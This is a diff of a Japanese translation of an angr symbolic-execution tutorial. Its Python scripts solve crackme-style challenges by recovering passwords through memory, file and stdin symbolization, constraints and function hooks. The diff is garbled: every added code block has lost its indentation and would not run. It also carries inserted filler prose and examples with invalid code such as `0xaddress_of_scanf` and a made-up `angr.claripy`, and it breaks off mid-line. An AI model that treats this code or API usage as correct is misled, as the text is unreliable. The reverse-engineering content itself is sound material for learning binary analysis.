`malloc` function. The goal is to find the values stored in the dynamically allocated memory. + +```python +import angr + +# Load the binary +project = angr.Project("/path/to/binary") + +# Set up the initial state +state = project.factory.entry_state() + +# Create a simulation manager +simgr = project.factory.simulation_manager(state) + +# Explore the program's execution +simgr.explore() + +# Get the final states +final_states = simgr.deadended + +# Iterate over the final states +for state in final_states: + # Get the memory address of the dynamically allocated memory + malloc_address = state.solver.eval(state.regs.rax) + + # Get the value stored in the dynamically allocated memory + malloc_value = state.mem[malloc_address].int.concrete + + # Print the memory address and value + print(f"Memory Address: {malloc_address}") + print(f"Value: {malloc_value}") ``` -### Dynamic Memory Values (Malloc) +In this example, we first load the binary using `angr.Project` and set up the initial state using `project.factory.entry_state()`. We then create a simulation manager using `project.factory.simulation_manager(state)`. +We explore the program's execution using `simgr.explore()`, which will automatically explore all possible paths in the binary. The final states are obtained using `simgr.deadended`. + +We iterate over the final states and use `state.solver.eval(state.regs.rax)` to get the memory address of the dynamically allocated memory. We then use `state.mem[malloc_address].int.concrete` to get the value stored in that memory address. + +Finally, we print the memory address and value using `print(f"Memory Address: {malloc_address}")` and `print(f"Value: {malloc_value}")`, respectively. ```python import angr import claripy import sys def main(argv): - path_to_binary = argv[1] - project = angr.Project(path_to_binary) - - # Get address after scanf - start_address = 0x804869e - initial_state = project.factory.blank_state(addr=start_address) +path_to_binary = argv[1] +project = angr.Project(path_to_binary) - # The binary is calling scanf("%8s %8s") so 2 BVS are needed. - password0 = claripy.BVS('password0', 8*8) - password1 = claripy.BVS('password0', 8*8) - - # Find a coupble of addresses that aren't used by the binary (like 0x4444444 & 0x4444454) - # The address generated by mallosc is going to be saved in some address - # Then, make that address point to the fake heap addresses were the BVS are going to be saved - fake_heap_address0 = 0x4444444 - pointer_to_malloc_memory_address0 = 0xa79a118 - initial_state.memory.store(pointer_to_malloc_memory_address0, fake_heap_address0, endness=project.arch.memory_endness) - fake_heap_address1 = 0x4444454 - pointer_to_malloc_memory_address1 = 0xa79a120 - initial_state.memory.store(pointer_to_malloc_memory_address1, fake_heap_address1, endness=project.arch.memory_endness) +# Get address after scanf +start_address = 0x804869e +initial_state = project.factory.blank_state(addr=start_address) - # Save the VBS in the new fake heap addresses created - initial_state.memory.store(fake_heap_address0, password0) - initial_state.memory.store(fake_heap_address1, password1) +# The binary is calling scanf("%8s %8s") so 2 BVS are needed. +password0 = claripy.BVS('password0', 8*8) +password1 = claripy.BVS('password0', 8*8) - simulation = project.factory.simgr(initial_state) +# Find a coupble of addresses that aren't used by the binary (like 0x4444444 & 0x4444454) +# The address generated by mallosc is going to be saved in some address +# Then, make that address point to the fake heap addresses were the BVS are going to be saved +fake_heap_address0 = 0x4444444 +pointer_to_malloc_memory_address0 = 0xa79a118 +initial_state.memory.store(pointer_to_malloc_memory_address0, fake_heap_address0, endness=project.arch.memory_endness) +fake_heap_address1 = 0x4444454 +pointer_to_malloc_memory_address1 = 0xa79a120 +initial_state.memory.store(pointer_to_malloc_memory_address1, fake_heap_address1, endness=project.arch.memory_endness) - def is_successful(state): - stdout_output = state.posix.dumps(sys.stdout.fileno()) - return 'Good Job.'.encode() in stdout_output +# Save the VBS in the new fake heap addresses created +initial_state.memory.store(fake_heap_address0, password0) +initial_state.memory.store(fake_heap_address1, password1) - def should_abort(state): - stdout_output = state.posix.dumps(sys.stdout.fileno()) - return 'Try again.'.encode() in stdout_output +simulation = project.factory.simgr(initial_state) - simulation.explore(find=is_successful, avoid=should_abort) +def is_successful(state): +stdout_output = state.posix.dumps(sys.stdout.fileno()) +return 'Good Job.'.encode() in stdout_output - if simulation.found: - solution_state = simulation.found[0] +def should_abort(state): +stdout_output = state.posix.dumps(sys.stdout.fileno()) +return 'Try again.'.encode() in stdout_output - solution0 = solution_state.solver.eval(password0,cast_to=bytes).decode() - solution1 = solution_state.solver.eval(password1,cast_to=bytes).decode() +simulation.explore(find=is_successful, avoid=should_abort) - solution = ' '.join([ solution0, solution1 ]) +if simulation.found: +solution_state = simulation.found[0] - print(solution) - else: - raise Exception('Could not find the solution') +solution0 = solution_state.solver.eval(password0,cast_to=bytes).decode() +solution1 = solution_state.solver.eval(password1,cast_to=bytes).decode() + +solution = ' '.join([ solution0, solution1 ]) + +print(solution) +else: +raise Exception('Could not find the solution') if __name__ == '__main__': - main(sys.argv) +main(sys.argv) ``` +### ファイルシミュレーション -### File Simulation +The `angr` framework provides a powerful feature called file simulation, which allows you to analyze the behavior of a program when interacting with files. This feature is particularly useful when reverse engineering binary files or when analyzing the impact of file operations on program execution. +To perform file simulation with `angr`, you need to create a `SimFile` object that represents the file you want to simulate. You can specify the file's name, size, and other attributes. Once you have created the `SimFile` object, you can use it to interact with the program being analyzed. + +For example, you can use the `write` method of the `SimFile` object to simulate writing data to the file. This can be useful to understand how the program handles user input or to analyze the impact of specific data on program execution. + +Similarly, you can use the `read` method of the `SimFile` object to simulate reading data from the file. This can help you understand how the program processes input from files or how it reacts to specific file contents. + +By combining file simulation with other features of `angr`, such as symbolic execution or taint analysis, you can gain a deeper understanding of the program's behavior and identify potential vulnerabilities or interesting code paths. + +Overall, file simulation is a powerful technique provided by the `angr` framework that allows you to analyze the behavior of a program when interacting with files. It can be used for reverse engineering, vulnerability analysis, or any other task that involves understanding the impact of file operations on program execution. ```python #In this challenge a password is read from a file and we want to simulate its content @@ -356,85 +428,82 @@ import claripy import sys def main(argv): - path_to_binary = argv[1] - project = angr.Project(path_to_binary) - - # Get an address just before opening the file with th simbolic content - # Or at least when the file is not going to suffer more changes before being read - start_address = 0x80488db - initial_state = project.factory.blank_state(addr=start_address) +path_to_binary = argv[1] +project = angr.Project(path_to_binary) - # Specify the filena that is going to open - # Note that in theory, the filename could be symbolic. - filename = 'WCEXPXBW.txt' - symbolic_file_size_bytes = 64 +# Get an address just before opening the file with th simbolic content +# Or at least when the file is not going to suffer more changes before being read +start_address = 0x80488db +initial_state = project.factory.blank_state(addr=start_address) - # Create a BV which is going to be the content of the simbolic file - password = claripy.BVS('password', symbolic_file_size_bytes * 8) +# Specify the filena that is going to open +# Note that in theory, the filename could be symbolic. +filename = 'WCEXPXBW.txt' +symbolic_file_size_bytes = 64 - # Create the file simulation with the simbolic content - password_file = angr.storage.SimFile(filename, content=password) - - # Add the symbolic file we created to the symbolic filesystem. - initial_state.fs.insert(filename, password_file) +# Create a BV which is going to be the content of the simbolic file +password = claripy.BVS('password', symbolic_file_size_bytes * 8) - simulation = project.factory.simgr(initial_state) +# Create the file simulation with the simbolic content +password_file = angr.storage.SimFile(filename, content=password) - def is_successful(state): - stdout_output = state.posix.dumps(sys.stdout.fileno()) - return 'Good Job.'.encode() in stdout_output +# Add the symbolic file we created to the symbolic filesystem. +initial_state.fs.insert(filename, password_file) - def should_abort(state): - stdout_output = state.posix.dumps(sys.stdout.fileno()) - return 'Try again.'.encode() in stdout_output +simulation = project.factory.simgr(initial_state) - simulation.explore(find=is_successful, avoid=should_abort) +def is_successful(state): +stdout_output = state.posix.dumps(sys.stdout.fileno()) +return 'Good Job.'.encode() in stdout_output - if simulation.found: - solution_state = simulation.found[0] +def should_abort(state): +stdout_output = state.posix.dumps(sys.stdout.fileno()) +return 'Try again.'.encode() in stdout_output - solution = solution_state.solver.eval(password,cast_to=bytes).decode() +simulation.explore(find=is_successful, avoid=should_abort) - print(solution) - else: - raise Exception('Could not find the solution') +if simulation.found: +solution_state = simulation.found[0] + +solution = solution_state.solver.eval(password,cast_to=bytes).decode() + +print(solution) +else: +raise Exception('Could not find the solution') if __name__ == '__main__': - main(sys.argv) +main(sys.argv) ``` - {% hint style="info" %} -Note that the symbolic file could also contain constant data merged with symbolic data: - +シンボリックファイルには、シンボリックデータと結合された定数データも含まれる場合があることに注意してください。 ```python - # Hello world, my name is John. - # ^ ^ - # ^ address 0 ^ address 24 (count the number of characters) - # In order to represent this in memory, we would want to write the string to - # the beginning of the file: - # - # hello_txt_contents = claripy.BVV('Hello world, my name is John.', 30*8) - # - # Perhaps, then, we would want to replace John with a - # symbolic variable. We would call: - # - # name_bitvector = claripy.BVS('symbolic_name', 4*8) - # - # Then, after the program calls fopen('hello.txt', 'r') and then - # fread(buffer, sizeof(char), 30, hello_txt_file), the buffer would contain - # the string from the file, except four symbolic bytes where the name would be - # stored. - # (!) +# Hello world, my name is John. +# ^ ^ +# ^ address 0 ^ address 24 (count the number of characters) +# In order to represent this in memory, we would want to write the string to +# the beginning of the file: +# +# hello_txt_contents = claripy.BVV('Hello world, my name is John.', 30*8) +# +# Perhaps, then, we would want to replace John with a +# symbolic variable. We would call: +# +# name_bitvector = claripy.BVS('symbolic_name', 4*8) +# +# Then, after the program calls fopen('hello.txt', 'r') and then +# fread(buffer, sizeof(char), 30, hello_txt_file), the buffer would contain +# the string from the file, except four symbolic bytes where the name would be +# stored. +# (!) ``` {% endhint %} -### Applying Constrains +### 制約の適用 {% hint style="info" %} -Sometimes simple human operations like compare 2 words of length 16 **char by char** (loop), **cost** a lot to a **angr** because it needs to generate branches **exponentially** because it generates 1 branch per if: `2^16`\ -Therefore, it's easier to **ask angr get to a previous point** (where the real difficult part was already done) and **set those constrains manually**. +時には、16文字の単語を1文字ずつ比較するような単純な人間の操作は、**angr**にとって非常にコストがかかります。なぜなら、それは1つのifごとに1つの分岐を生成するため、指数的に分岐を生成する必要があるからです: `2^16`\ +そのため、**angrに以前のポイントに到達してもらい**(実際の難しい部分がすでに完了している場所)、**手動で制約を設定する**方が簡単です。 {% endhint %} - ```python # After perform some complex poperations to the input the program checks # char by char the password against another password saved, like in the snippet: @@ -451,7 +520,7 @@ Therefore, it's easier to **ask angr get to a previous point** (where the real d # } # # ... -# +# # char* input = user_input(); # char* encrypted_input = complex_function(input); # if (check_equals_AABBCCDDEEFFGGHH(encrypted_input, 16)) { @@ -460,9 +529,9 @@ Therefore, it's easier to **ask angr get to a previous point** (where the real d # puts("Try again."); # } # -# The function checks if *to_check == "AABBCCDDEEFFGGHH". This is very RAM consumming -# as the computer needs to branch every time the if statement in the loop was called (16 -# times), resulting in 2^16 = 65,536 branches, which will take too long of a +# The function checks if *to_check == "AABBCCDDEEFFGGHH". This is very RAM consumming +# as the computer needs to branch every time the if statement in the loop was called (16 +# times), resulting in 2^16 = 65,536 branches, which will take too long of a # time to evaluate for our needs. import angr @@ -470,95 +539,156 @@ import claripy import sys def main(argv): - path_to_binary = argv[1] - project = angr.Project(path_to_binary) +path_to_binary = argv[1] +project = angr.Project(path_to_binary) - initial_state = project.factory.entry_state() +initial_state = project.factory.entry_state() - simulation = project.factory.simgr(initial_state) +simulation = project.factory.simgr(initial_state) - # Get an address to check after the complex function and before the "easy compare" operation - address_to_check_constraint = 0x8048671 - simulation.explore(find=address_to_check_constraint) +# Get an address to check after the complex function and before the "easy compare" operation +address_to_check_constraint = 0x8048671 +simulation.explore(find=address_to_check_constraint) - if simulation.found: - solution_state = simulation.found[0] +if simulation.found: +solution_state = simulation.found[0] - # Find were the input that is going to be compared is saved in memory - constrained_parameter_address = 0x804a050 - constrained_parameter_size_bytes = 16 - # Set the bitvector - constrained_parameter_bitvector = solution_state.memory.load( - constrained_parameter_address, - constrained_parameter_size_bytes - ) +# Find were the input that is going to be compared is saved in memory +constrained_parameter_address = 0x804a050 +constrained_parameter_size_bytes = 16 +# Set the bitvector +constrained_parameter_bitvector = solution_state.memory.load( +constrained_parameter_address, +constrained_parameter_size_bytes +) - # Indicate angr that this BV at this point needs to be equal to the password - constrained_parameter_desired_value = 'BWYRUBQCMVSBRGFU'.encode() - solution_state.add_constraints(constrained_parameter_bitvector == constrained_parameter_desired_value) +# Indicate angr that this BV at this point needs to be equal to the password +constrained_parameter_desired_value = 'BWYRUBQCMVSBRGFU'.encode() +solution_state.add_constraints(constrained_parameter_bitvector == constrained_parameter_desired_value) - print(solution_state.posix.dumps(sys.stdin.fileno())) - else: - raise Exception('Could not find the solution') +print(solution_state.posix.dumps(sys.stdin.fileno())) +else: +raise Exception('Could not find the solution') if __name__ == '__main__': - main(sys.argv) +main(sys.argv) ``` - {% hint style="danger" %} -In some scenarios you can activate **veritesting**, which will merge similar status, in order to save useless branches and find the solution: `simulation = project.factory.simgr(initial_state, veritesting=True)` +いくつかのシナリオでは、似たような状態をマージして不要なブランチを省略し、解決策を見つけるために**veritesting**を有効にすることができます:`simulation = project.factory.simgr(initial_state, veritesting=True)` {% endhint %} {% hint style="info" %} -Another thing you can do in these scenarios is to **hook the function giving angr something it can understand** more easily. +これらのシナリオでは、angrにより理解しやすいものを提供するために、関数を**フックする**こともできます。 {% endhint %} -### Simulation Managers - -Some simulation managers can be more useful than others. In the previous example there was a problem as a lot of useful branches were created. Here, the **veritesting** technique will merge those and will find a solution.\ -This simulation manager can also be activated with: `simulation = project.factory.simgr(initial_state, veritesting=True)` +### シミュレーションマネージャー +一部のシミュレーションマネージャーは、他のものよりも便利です。前の例では、多くの有用なブランチが作成されるという問題がありました。ここでは、**veritesting**のテクニックを使用してそれらをマージし、解決策を見つけます。\ +このシミュレーションマネージャーは、次のようにも有効にできます:`simulation = project.factory.simgr(initial_state, veritesting=True)` ```python import angr import claripy import sys def main(argv): - path_to_binary = argv[1] - project = angr.Project(path_to_binary) +path_to_binary = argv[1] +project = angr.Project(path_to_binary) - initial_state = project.factory.entry_state() +initial_state = project.factory.entry_state() - simulation = project.factory.simgr(initial_state) - # Set simulation technique - simulation.use_technique(angr.exploration_techniques.Veritesting()) +simulation = project.factory.simgr(initial_state) +# Set simulation technique +simulation.use_technique(angr.exploration_techniques.Veritesting()) - def is_successful(state): - stdout_output = state.posix.dumps(sys.stdout.fileno()) +def is_successful(state): +stdout_output = state.posix.dumps(sys.stdout.fileno()) - return 'Good Job.'.encode() in stdout_output # :boolean +return 'Good Job.'.encode() in stdout_output # :boolean - def should_abort(state): - stdout_output = state.posix.dumps(sys.stdout.fileno()) - return 'Try again.'.encode() in stdout_output # :boolean +def should_abort(state): +stdout_output = state.posix.dumps(sys.stdout.fileno()) +return 'Try again.'.encode() in stdout_output # :boolean - simulation.explore(find=is_successful, avoid=should_abort) +simulation.explore(find=is_successful, avoid=should_abort) - if simulation.found: - solution_state = simulation.found[0] - print(solution_state.posix.dumps(sys.stdin.fileno())) - else: - raise Exception('Could not find the solution') +if simulation.found: +solution_state = simulation.found[0] +print(solution_state.posix.dumps(sys.stdin.fileno())) +else: +raise Exception('Could not find the solution') if __name__ == '__main__': - main(sys.argv) +main(sys.argv) +``` +### 関数への1つの呼び出しのフック/バイパス + +In this example, we will use angr to hook or bypass a specific call to a function in a binary. + +この例では、angrを使用して、バイナリ内の特定の関数への呼び出しをフックまたはバイパスします。 + +First, we need to create an angr project and load the binary: + +まず、angrプロジェクトを作成し、バイナリをロードする必要があります。 + +```python +import angr + +project = angr.Project("/path/to/binary") ``` -### Hooking/Bypassing one call to a function +Next, we need to find the address of the call instruction we want to hook or bypass. We can use the `find` method to search for the address: +次に、フックまたはバイパスしたい呼び出し命令のアドレスを見つける必要があります。`find`メソッドを使用してアドレスを検索できます。 + +```python +call_address = project.loader.find_symbol("function_to_hook").rebased_addr +``` + +Now, we can create a hook for the call instruction using the `SimProcedure` class: + +これで、`SimProcedure`クラスを使用して、呼び出し命令のフックを作成できます。 + +```python +class Hook(angr.SimProcedure): + def run(self): + # Perform custom actions here + # Custom code to execute instead of the original function call + # You can modify registers, memory, etc. + # Return a value if necessary + return 0 + +# Hook the call instruction +project.hook(call_address, Hook()) +``` + +Alternatively, if we want to bypass the call instruction completely, we can use the `SimProcedure` class to create a custom procedure that does nothing: + +または、呼び出し命令を完全にバイパスしたい場合は、`SimProcedure`クラスを使用して何もしないカスタム手続きを作成できます。 + +```python +class Bypass(angr.SimProcedure): + def run(self): + # Do nothing + pass + +# Bypass the call instruction +project.hook(call_address, Bypass()) +``` + +Finally, we can execute the binary with angr and observe the effects of the hook or bypass: + +最後に、angrでバイナリを実行し、フックまたはバイパスの効果を観察できます。 + +```python +state = project.factory.entry_state() +simulation = project.factory.simgr(state) +simulation.run() +``` + +By hooking or bypassing a specific call to a function, we can modify the behavior of the binary and potentially achieve desired outcomes. ```python # This level performs the following computations: # @@ -576,59 +706,73 @@ import claripy import sys def main(argv): - path_to_binary = argv[1] - project = angr.Project(path_to_binary) +path_to_binary = argv[1] +project = angr.Project(path_to_binary) - initial_state = project.factory.entry_state() +initial_state = project.factory.entry_state() - # Hook the address of the call to hook indicating th length of the instruction (of the call) - check_equals_called_address = 0x80486b8 - instruction_to_skip_length = 5 - @project.hook(check_equals_called_address, length=instruction_to_skip_length) - def skip_check_equals_(state): - #Load the input of the function reading direcly the memory - user_input_buffer_address = 0x804a054 - user_input_buffer_length = 16 - user_input_string = state.memory.load( - user_input_buffer_address, - user_input_buffer_length - ) - - # Create a simbolic IF that if the loaded string frommemory is the expected - # return True (1) if not returns False (0) in eax - check_against_string = 'XKSPZSJKJYQCQXZV'.encode() # :string +# Hook the address of the call to hook indicating th length of the instruction (of the call) +check_equals_called_address = 0x80486b8 +instruction_to_skip_length = 5 +@project.hook(check_equals_called_address, length=instruction_to_skip_length) +def skip_check_equals_(state): +#Load the input of the function reading direcly the memory +user_input_buffer_address = 0x804a054 +user_input_buffer_length = 16 +user_input_string = state.memory.load( +user_input_buffer_address, +user_input_buffer_length +) - state.regs.eax = claripy.If( - user_input_string == check_against_string, - claripy.BVV(1, 32), - claripy.BVV(0, 32) - ) +# Create a simbolic IF that if the loaded string frommemory is the expected +# return True (1) if not returns False (0) in eax +check_against_string = 'XKSPZSJKJYQCQXZV'.encode() # :string - simulation = project.factory.simgr(initial_state) +state.regs.eax = claripy.If( +user_input_string == check_against_string, +claripy.BVV(1, 32), +claripy.BVV(0, 32) +) - def is_successful(state): - stdout_output = state.posix.dumps(sys.stdout.fileno()) - return 'Good Job.'.encode() in stdout_output +simulation = project.factory.simgr(initial_state) - def should_abort(state): - stdout_output = state.posix.dumps(sys.stdout.fileno()) - return 'Try again.'.encode() in stdout_output +def is_successful(state): +stdout_output = state.posix.dumps(sys.stdout.fileno()) +return 'Good Job.'.encode() in stdout_output - simulation.explore(find=is_successful, avoid=should_abort) +def should_abort(state): +stdout_output = state.posix.dumps(sys.stdout.fileno()) +return 'Try again.'.encode() in stdout_output - if simulation.found: - solution_state = simulation.found[0] - solution = solution_state.posix.dumps(sys.stdin.fileno()).decode() - print(solution) - else: - raise Exception('Could not find the solution') +simulation.explore(find=is_successful, avoid=should_abort) + +if simulation.found: +solution_state = simulation.found[0] +solution = solution_state.posix.dumps(sys.stdin.fileno()).decode() +print(solution) +else: +raise Exception('Could not find the solution') if __name__ == '__main__': - main(sys.argv) +main(sys.argv) ``` +### 関数のフック / シムプロシージャ -### Hooking a function / Simprocedure +In some cases, you may want to modify the behavior of a specific function during the execution of a binary. This can be achieved using a technique called function hooking or simprocedure. +関数の実行中に特定の関数の動作を変更したい場合、関数フックまたはシムプロシージャと呼ばれる技術を使用することができます。 + +Function hooking involves replacing the original function with a custom implementation that you define. This allows you to intercept the function call and modify its behavior according to your needs. By hooking a function, you can control its input, output, or even completely change its functionality. + +関数フックでは、元の関数を定義したカスタム実装で置き換えます。これにより、関数呼び出しを傍受し、必要に応じて動作を変更することができます。関数をフックすることで、入力や出力を制御したり、機能を完全に変更したりすることができます。 + +Simprocedure is a similar concept, but it is specific to the angr framework. It allows you to replace a function with a custom implementation using the `SimProcedure` class provided by angr. This class provides a set of methods that you can override to define the behavior of the simprocedure. + +シムプロシージャは、angrフレームワーク固有の概念ですが、似たような概念です。angrが提供する`SimProcedure`クラスを使用して、関数をカスタム実装で置き換えることができます。このクラスは、シムプロシージャの動作を定義するためにオーバーライドできる一連のメソッドを提供します。 + +By hooking a function or using a simprocedure, you can gain control over the execution flow of a binary and modify its behavior to suit your needs. This can be particularly useful in scenarios where you want to bypass certain checks or modify the output of a function. + +関数をフックするか、シムプロシージャを使用することで、バイナリの実行フローを制御し、動作を変更することができます。これは、特定のチェックをバイパスしたり、関数の出力を変更したりする必要がある場合に特に役立ちます。 ```python # Hook to the function called check_equals_WQNDNKKWAWOLXBAC @@ -637,84 +781,123 @@ import claripy import sys def main(argv): - path_to_binary = argv[1] - project = angr.Project(path_to_binary) +path_to_binary = argv[1] +project = angr.Project(path_to_binary) - initial_state = project.factory.entry_state() +initial_state = project.factory.entry_state() - # Define a class and a tun method to hook completelly a function - class ReplacementCheckEquals(angr.SimProcedure): - # This C code: - # - # int add_if_positive(int a, int b) { - # if (a >= 0 && b >= 0) return a + b; - # else return 0; - # } - # - # could be simulated with python: - # - # class ReplacementAddIfPositive(angr.SimProcedure): - # def run(self, a, b): - # if a >= 0 and b >=0: - # return a + b - # else: - # return 0 - # - # run(...) receives the params of the hooked function - def run(self, to_check, length): - user_input_buffer_address = to_check - user_input_buffer_length = length - - # Read the data from the memory address given to the function - user_input_string = self.state.memory.load( - user_input_buffer_address, - user_input_buffer_length - ) +# Define a class and a tun method to hook completelly a function +class ReplacementCheckEquals(angr.SimProcedure): +# This C code: +# +# int add_if_positive(int a, int b) { +# if (a >= 0 && b >= 0) return a + b; +# else return 0; +# } +# +# could be simulated with python: +# +# class ReplacementAddIfPositive(angr.SimProcedure): +# def run(self, a, b): +# if a >= 0 and b >=0: +# return a + b +# else: +# return 0 +# +# run(...) receives the params of the hooked function +def run(self, to_check, length): +user_input_buffer_address = to_check +user_input_buffer_length = length - check_against_string = 'WQNDNKKWAWOLXBAC'.encode() - - # Return 1 if equals to the string, 0 otherways - return claripy.If( - user_input_string == check_against_string, - claripy.BVV(1, 32), - claripy.BVV(0, 32) - ) +# Read the data from the memory address given to the function +user_input_string = self.state.memory.load( +user_input_buffer_address, +user_input_buffer_length +) + +check_against_string = 'WQNDNKKWAWOLXBAC'.encode() + +# Return 1 if equals to the string, 0 otherways +return claripy.If( +user_input_string == check_against_string, +claripy.BVV(1, 32), +claripy.BVV(0, 32) +) - # Hook the check_equals symbol. Angr automatically looks up the address - # associated with the symbol. Alternatively, you can use 'hook' instead - # of 'hook_symbol' and specify the address of the function. To find the - # correct symbol, disassemble the binary. - # (!) - check_equals_symbol = 'check_equals_WQNDNKKWAWOLXBAC' # :string - project.hook_symbol(check_equals_symbol, ReplacementCheckEquals()) +# Hook the check_equals symbol. Angr automatically looks up the address +# associated with the symbol. Alternatively, you can use 'hook' instead +# of 'hook_symbol' and specify the address of the function. To find the +# correct symbol, disassemble the binary. +# (!) +check_equals_symbol = 'check_equals_WQNDNKKWAWOLXBAC' # :string +project.hook_symbol(check_equals_symbol, ReplacementCheckEquals()) - simulation = project.factory.simgr(initial_state) +simulation = project.factory.simgr(initial_state) - def is_successful(state): - stdout_output = state.posix.dumps(sys.stdout.fileno()) - return 'Good Job.'.encode() in stdout_output +def is_successful(state): +stdout_output = state.posix.dumps(sys.stdout.fileno()) +return 'Good Job.'.encode() in stdout_output - def should_abort(state): - stdout_output = state.posix.dumps(sys.stdout.fileno()) - return 'Try again.'.encode() in stdout_output +def should_abort(state): +stdout_output = state.posix.dumps(sys.stdout.fileno()) +return 'Try again.'.encode() in stdout_output - simulation.explore(find=is_successful, avoid=should_abort) +simulation.explore(find=is_successful, avoid=should_abort) - if simulation.found: - solution_state = simulation.found[0] +if simulation.found: +solution_state = simulation.found[0] - solution = solution_state.posix.dumps(sys.stdin.fileno()).decode() - print(solution) - else: - raise Exception('Could not find the solution') +solution = solution_state.posix.dumps(sys.stdin.fileno()).decode() +print(solution) +else: +raise Exception('Could not find the solution') if __name__ == '__main__': - main(sys.argv) +main(sys.argv) +``` +### 複数のパラメータを持つscanfのシミュレーション + +To simulate `scanf` with several parameters, you can use the `angr` framework. `angr` is a powerful binary analysis tool that allows you to perform symbolic execution and solve complex constraints. + +Here is an example of how you can simulate `scanf` with multiple parameters using `angr`: + +```python +import angr + +# Create an angr project +project = angr.Project("/path/to/binary") + +# Define the symbolic input variables +input1 = angr.claripy.BVS("input1", 8 * 4) # 4-byte input +input2 = angr.claripy.BVS("input2", 8 * 4) # 4-byte input + +# Create a state with symbolic input +state = project.factory.entry_state(stdin=angr.SimFile(fd=0, content=input1+input2)) + +# Simulate the execution until the scanf function +simulation = project.factory.simgr(state) +simulation.explore(find=0xaddress_of_scanf) + +# Get the state after the scanf function +state_after_scanf = simulation.found[0] + +# Get the concrete values of the symbolic input +concrete_input1 = state_after_scanf.solver.eval(input1) +concrete_input2 = state_after_scanf.solver.eval(input2) + +# Print the concrete values +print("Input 1:", concrete_input1) +print("Input 2:", concrete_input2) ``` -### Simulate scanf with several params +In this example, we first create an `angr` project by providing the path to the binary we want to analyze. Then, we define symbolic input variables using `angr.claripy.BVS`. We create a state with symbolic input by passing the symbolic input variables to `angr.SimFile` and setting it as the `stdin` of the state. +Next, we use the `project.factory.simgr` function to create a simulation manager and explore the program's execution until the `scanf` function is reached. We specify the address of the `scanf` function as the `find` parameter. + +After the simulation, we retrieve the state after the `scanf` function using `simulation.found[0]`. We can then use the `state.solver.eval` function to get the concrete values of the symbolic input variables. + +Finally, we print the concrete values of the inputs. ```python # This time, the solution involves simply replacing scanf with our own version, # since Angr does not support requesting multiple parameters with scanf. @@ -724,61 +907,67 @@ import claripy import sys def main(argv): - path_to_binary = argv[1] - project = angr.Project(path_to_binary) +path_to_binary = argv[1] +project = angr.Project(path_to_binary) - initial_state = project.factory.entry_state() +initial_state = project.factory.entry_state() - class ReplacementScanf(angr.SimProcedure): - # The code uses: 'scanf("%u %u", ...)' - def run(self, format_string, param0, param1): - scanf0 = claripy.BVS('scanf0', 32) - scanf1 = claripy.BVS('scanf1', 32) +class ReplacementScanf(angr.SimProcedure): +# The code uses: 'scanf("%u %u", ...)' +def run(self, format_string, param0, param1): +scanf0 = claripy.BVS('scanf0', 32) +scanf1 = claripy.BVS('scanf1', 32) - # Get the addresses from the params and store the BVS in memory - scanf0_address = param0 - self.state.memory.store(scanf0_address, scanf0, endness=project.arch.memory_endness) - scanf1_address = param1 - self.state.memory.store(scanf1_address, scanf1, endness=project.arch.memory_endness) +# Get the addresses from the params and store the BVS in memory +scanf0_address = param0 +self.state.memory.store(scanf0_address, scanf0, endness=project.arch.memory_endness) +scanf1_address = param1 +self.state.memory.store(scanf1_address, scanf1, endness=project.arch.memory_endness) - # Now, we want to 'set aside' references to our symbolic values in the - # globals plugin included by default with a state. You will need to - # store multiple bitvectors. You can either use a list, tuple, or multiple - # keys to reference the different bitvectors. - self.state.globals['solutions'] = (scanf0, scanf1) +# Now, we want to 'set aside' references to our symbolic values in the +# globals plugin included by default with a state. You will need to +# store multiple bitvectors. You can either use a list, tuple, or multiple +# keys to reference the different bitvectors. +self.state.globals['solutions'] = (scanf0, scanf1) - scanf_symbol = '__isoc99_scanf' - project.hook_symbol(scanf_symbol, ReplacementScanf()) +scanf_symbol = '__isoc99_scanf' +project.hook_symbol(scanf_symbol, ReplacementScanf()) - simulation = project.factory.simgr(initial_state) +simulation = project.factory.simgr(initial_state) - def is_successful(state): - stdout_output = state.posix.dumps(sys.stdout.fileno()) - return 'Good Job.'.encode() in stdout_output +def is_successful(state): +stdout_output = state.posix.dumps(sys.stdout.fileno()) +return 'Good Job.'.encode() in stdout_output - def should_abort(state): - stdout_output = state.posix.dumps(sys.stdout.fileno()) - return 'Try again.'.encode() in stdout_output +def should_abort(state): +stdout_output = state.posix.dumps(sys.stdout.fileno()) +return 'Try again.'.encode() in stdout_output - simulation.explore(find=is_successful, avoid=should_abort) +simulation.explore(find=is_successful, avoid=should_abort) - if simulation.found: - solution_state = simulation.found[0] +if simulation.found: +solution_state = simulation.found[0] - # Grab whatever you set aside in the globals dict. - stored_solutions = solution_state.globals['solutions'] - solution = ' '.join(map(str, map(solution_state.solver.eval, stored_solutions))) +# Grab whatever you set aside in the globals dict. +stored_solutions = solution_state.globals['solutions'] +solution = ' '.join(map(str, map(solution_state.solver.eval, stored_solutions))) - print(solution) - else: - raise Exception('Could not find the solution') +print(solution) +else: +raise Exception('Could not find the solution') if __name__ == '__main__': - main(sys.argv) +main(sys.argv) ``` +### 静的バイナリ -### Static Binaries +静的バイナリは、実行可能なプログラムの形式であり、実行時に外部のライブラリや依存関係を必要とせず、単独で動作することができます。静的バイナリは、バイナリ解析やリバースエンジニアリングのコンテキストで非常に重要です。静的バイナリを解析することで、プログラムの内部構造や機能、セキュリティ上の脆弱性を理解することができます。 +静的バイナリの解析には、さまざまなツールが利用されます。これらのツールは、バイナリのヘッダやセクション、シンボル、関数、命令などの情報を取得し、解析者に有用な情報を提供します。静的バイナリの解析には、バイナリエディタ、ディスアセンブラ、デバッガ、リバースエンジニアリングフレームワークなどが使用されます。 + +静的バイナリの解析は、セキュリティ評価や脆弱性診断、マルウェア解析、逆コンパイルなどの目的で使用されます。解析者は、静的バイナリの構造や動作を理解することで、セキュリティ上の問題を特定し、改善策を提案することができます。 + +静的バイナリの解析は、リバースエンジニアリングの基本的な手法の一つであり、セキュリティ専門家やハッカーにとって重要なスキルです。静的バイナリの解析には、知識と経験が必要ですが、適切なツールと手法を使用することで、効果的な解析が可能となります。 ```python # This challenge is the exact same as the first challenge, except that it was # compiled as a static binary. Normally, Angr automatically replaces standard @@ -787,7 +976,7 @@ if __name__ == '__main__': # To solve the challenge, manually hook any standard library c functions that # are used. Then, ensure that you begin the execution at the beginning of the # main function. Do not use entry_state. -# +# # Here are a few SimProcedures Angr has already written for you. They implement # standard library functions. You will not need all of them: # angr.SIM_PROCEDURES['libc']['malloc'] @@ -812,48 +1001,47 @@ import angr import sys def main(argv): - path_to_binary = argv[1] - project = angr.Project(path_to_binary) +path_to_binary = argv[1] +project = angr.Project(path_to_binary) - initial_state = project.factory.entry_state() - - #Find the addresses were the lib functions are loaded in the binary - #For example you could find: call 0x804ed80 <__isoc99_scanf> - project.hook(0x804ed40, 